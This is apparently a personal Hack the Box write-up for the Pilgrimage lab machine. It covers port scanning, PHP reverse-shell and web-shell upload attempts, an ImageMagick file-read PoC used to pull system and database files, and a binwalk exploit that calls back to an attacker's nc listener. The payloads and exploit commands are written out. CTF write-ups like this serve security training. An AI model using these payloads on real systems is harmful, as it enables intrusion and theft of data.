Hack the Box Pilgrimage Challenge, completed when the challenge was live.

Start by enumerating the machine:

sudo nmap -sS -Pn -p- <machine_ip> -oA scan
22/tcp open  ssh
80/tcp open  http

Adding the site to our /etc/hosts file.

<machine_ip> pilgrimage.htb

We see a site with an upload option, login.

Went ahead and created an account.

Checking Wappalyzer we see the site is built using php, jquery and nginx:

More than likely we can perform the following to get access to the victim system:

Testing with uploading a reverse php shell.

vim test.jpg.php

Added the reverse shell:

php -r '$sock=fsockopen("",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

Received image shrink failed.

Tried test.php%00.jpg, received image shrink failed.

Trying local file inclusion:


No luck.

Tried the following attempts to upload a php shell:


<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/ 0>&1'");?>

File uploads:

  • shell.php%00.jpg

  • shell.php.jpg

  • shell.jpg.php

There seems to be some file validation.

Tried the following technique:


  • Bypass magic number, echo '<?php system($_REQUEST['cmd']); ?>' >> img.png

  • I was able to successfully upload the image, but the cmd execution failed

    • likely due to the image compression which is occurring

    • Moving to the next bullet points to attempt to run a shell post compression of the file

Used the php PoC from here - https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php

Attempting to use this payload, I ran into errors with the function imagecreate(). Did some searching online and this was due to not having the package installed on my machine.

php --version # to get the installed version of php
sudo apt install php8.2-gd # this is the package which contains the function for imagecreate()

Successfully ran php gen_plte_png.php. Successfully uploaded the file to the webserver. Unfortunately the payload I attempted to use did not work.

After reviewing a quick walkthrough, I saw we could use a tool called git-dumper to read a directory I previously found .git when I ran dirsearch.

  • Reference for dirsearch; https://www.kali.org/tools/dirsearch/

    • This is part of the Kali repository, so it should be easy to install

  • Reference for git-dumper;

Ran git-dumper against the url <machine-ip>/.git

This pulls the files which essentially compose the app.

Here we can see that there is a file named magick. From previous review and attempts to exploit the form, we know there is a tool called imagemagick was has exploits readily available.

└─$ ./magick --version
Version: ImageMagick 7.1.0-49 beta Q16-HDRI x86_64 c243c9281:20220911 https://imagemagick.org
Copyright: (C) 1999 ImageMagick Studio LLC
License: https://imagemagick.org/script/license.php
Features: Cipher DPC HDRI OpenMP(4.5) 
Delegates (built-in): bzlib djvu fontconfig freetype jbig jng jpeg lcms lqr lzma openexr png raqm tiff webp x xml zlib
Compiler: gcc (7.5)

From here we know to look around for potential PoC's which are specifically for this version of ImageMagick.

I found the following PoC that's available for arbitrary file reads:


I went ahead and forked the repo as well to include the requirements.txt, so you can run:

git clone https://github.com/Golgothus/imagemagick-lfi-poc.git
cd imagemagick-lfi-poc
pip install -r requirements
python3 generate.py -f "/etc/passwd" -o exploit.png

I went with naming my files bad_llama.png to make sure I knew which file to upload since I've already made so many attempts.

└─$ python imagemagick-lfi-poc/generate.py -f "/etc/hosts" -o bad_llama_hosting.png

   [>] ImageMagick LFI PoC - by Sybil Scan Research <research@sybilscan.com>
   [>] Generating Blank PNG
   [>] Blank PNG generated
   [>] Placing Payload to read /etc/hosts
   [>] PoC PNG generated > bad_llama_hosting.png

Uploaded the file.

Then pulled and output the file via curl:

└─$ curl http://pilgrimage.htb/shrunk/654734449a541.png -o llama_host # the -o option can be set to whatever you'd like

We can go ahead and then run:

identify -verbose llama_host # or whatever your outfile was named from curl

We know that from the PoC that the generate.py is decoding hex. When we get the output from our outfile, we see a good size block of text after the phrase Raw profile type:

I took the long route and ran:

identify -verbose llama_host > result.out

Then put the file in vim and removed everything but the block of hex characters. Once that was done, I opened that file in cyberchef and we can run the following:

The recipe is:


From the walkthrough I was sifting through to nudge me along (https://medium.com/@babayaga00897/pilgrimage-htb-writeup-ae8242270434), there was apparently an sql database in the .git/dashboard.php file from earlier.

I basically repeated these steps to pull the referenced database file:

└─$ python generate.py -f "/var/db/pilgrimage" -o bad_llama.png

Uploaded bad_llama.png to the site. Then pulled down the file:

└─$ identify -verbose http://pilgrimage.htb/shrunk/65472ea03a769.png > db.out 

Used Vim to remove pieces out of the db.out that I did not need, kept only the hex. Used Cyberchef to parse everything down:

The same recipe from earlier was used:

From_Hex('Auto') Remove_null_bytes()

Note to self: I need to try and find a way to get better with enumeration and learning tools, searching for things in the hay stacks

Profiling the system

username; emily password;

emily@pilgrimage:~$ cat /etc/*-release              
PRETTY_NAME="Debian GNU/Linux 11 (bullseye)"
NAME="Debian GNU/Linux"                                  
VERSION="11 (bullseye)"


emily@pilgrimage:~$ cat /proc/version    
Linux version 5.10.0-23-amd64 (debian-kernel@lists.debian.org) (gcc-10 (Debian 10.2.1-6) 10.2.1 20210110, GNU ld (GNU Binutils for Debian) 2.35.2) #1 SMP Debian 5.10.179-1 (2023-05-12)   

ss - https://man7.org/linux/man-pages/man8/ss.8.html

emily@pilgrimage:~$ ss -nltp
State        Recv-Q       Send-Q             Local Address:Port              Peer Address:Port       Process       
LISTEN       0            128                       *                        
LISTEN       0            511                       *                        
LISTEN       0            128                         [::]:22                        [::]:*                        
LISTEN       0            511                         [::]:80                        [::]:*           

Nothing abnormal here, we already knew from our nmap scan in the beginning there were only the two ports listening, 22, 80.

ps -ef --forest

root         569       1  0 04:54 ?        00:00:00 /sbin/auditd                                                   
_laurel      571     569  0 04:54 ?        00:00:00  \_ /usr/local/sbin/laurel --config /etc/laurel/config.toml    
root         681       1  0 04:54 ?        00:00:00 /sbin/dhclient -4 -v -i -pf /run/dhclient.eth0.pid -lf /var/lib
root         718       1  0 04:54 ?        00:00:00 /usr/sbin/cron -f                                              
message+     719       1  0 04:54 ?        00:00:00 /usr/bin/dbus-daemon --system --address=systemd: --nofork --nop
root         721       1  0 04:54 ?        00:00:00 /bin/bash /usr/sbin/malwarescan.sh                             
root         736     721  0 04:54 ?        00:00:00  \_ /usr/bin/inotifywait -m -e create /var/www/pilgrimage.htb/s
root         737     721  0 04:54 ?        00:00:00  \_ /bin/bash /usr/sbin/malwarescan.sh                         
root         723       1  0 04:54 ?        00:00:00 php-fpm: master process (/etc/php/7.4/fpm/php-fpm.conf)        
www-data     833     723  0 04:54 ?        00:00:00  \_ php-fpm: pool www                                          
www-data     834     723  0 04:54 ?        00:00:00  \_ php-fpm: pool www                                          

Nothing really interesting from the output, the malwarescan.sh is kind of peculiar as I've not seen that before, but apparently it's just part of the websites capability to "watch" for malicious files being uploaded.

Something worth noting, is we do have read capabilities on /usr/sbin/malwarescan.sh

Still something maybe worth mentioning since the process is also owned by root.

Reviewing id:

emily@pilgrimage:~$ id
uid=1000(emily) gid=1000(emily) groups=1000(emily)

No abnormal gid, uid.

find / -perm -1000 -type d 2>/dev/null # Sticky bit - Only the owner of the directory or the owner of a file can delete or rename here. 
find / -perm -g=s -type f 2>/dev/null # SGID (chmod 2000) - run as the group, not the user who started it. 
find / -perm -u=s -type f 2>/dev/null # SUID (chmod 4000) - run as the owner, not the user who started it. 
find / -perm -g=s -o -perm -u=s -type f 2>/dev/null # SGID or SUID
find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null

Checking for executable files by user:

emily@pilgrimage:~$ find / -user emily 2>/dev/null | grep -v '^/sys\|^/run\|^/proc'

Checking for executable files by group:

emily@pilgrimage:~$ find / -group emily 2>/dev/null | grep -v '^/sys\|^/run\|^/proc'
emily@pilgrimage:/var/lib/sudo/lectured$ find / -group emily 2>/dev/null | grep -v '^/sys\|^/run\|^/proc'

Again it looks like I'm super stuck. After reviewing the write-up again, https://medium.com/@babayaga00897/pilgrimage-htb-writeup-ae8242270434, it looks like things are pointing to reviewing:

  • /usr/sbin/malwarescan.sh

  • /usr/local/bin/binwalk

Upon further investigation, binwalk is not just a file found in our local user, emily, but also a binary which exists on the machine.

emily@pilgrimage:/var/www/pilgrimage.htb$ binwalk
Binwalk v2.3.2                                                                                                     
Craig Heffner, ReFirmLabs

Searching for potential exploits to run against the file:


This will allow for RCE on the victim machine via the exploit.

We need to upload the binwalk_exploit.png to our victim system in the /var/www/pilgrimage/upload directory. To do this, I used the following:

Note: Run this after creating your exploit.png

attacker system

python -m http.server 80 # this is python3

Victim Server

curl 10.10.16.*:80/binwalk_exploit.png -o exploit.png

Once your exploit is uploaded, be sure to setup a listener on your attacker machine:

attacker system

nc -nlvp 1337

Once your file is uploaded to the victim, you can run:

binwalk -e exploit.png # or whatever your exploit file is now named

This will make a callback to your attacker systems nc listener with our established reverse shell.

The demo on this site helped me better understand what needed to be run in order for the exploit to properly complete:


Last updated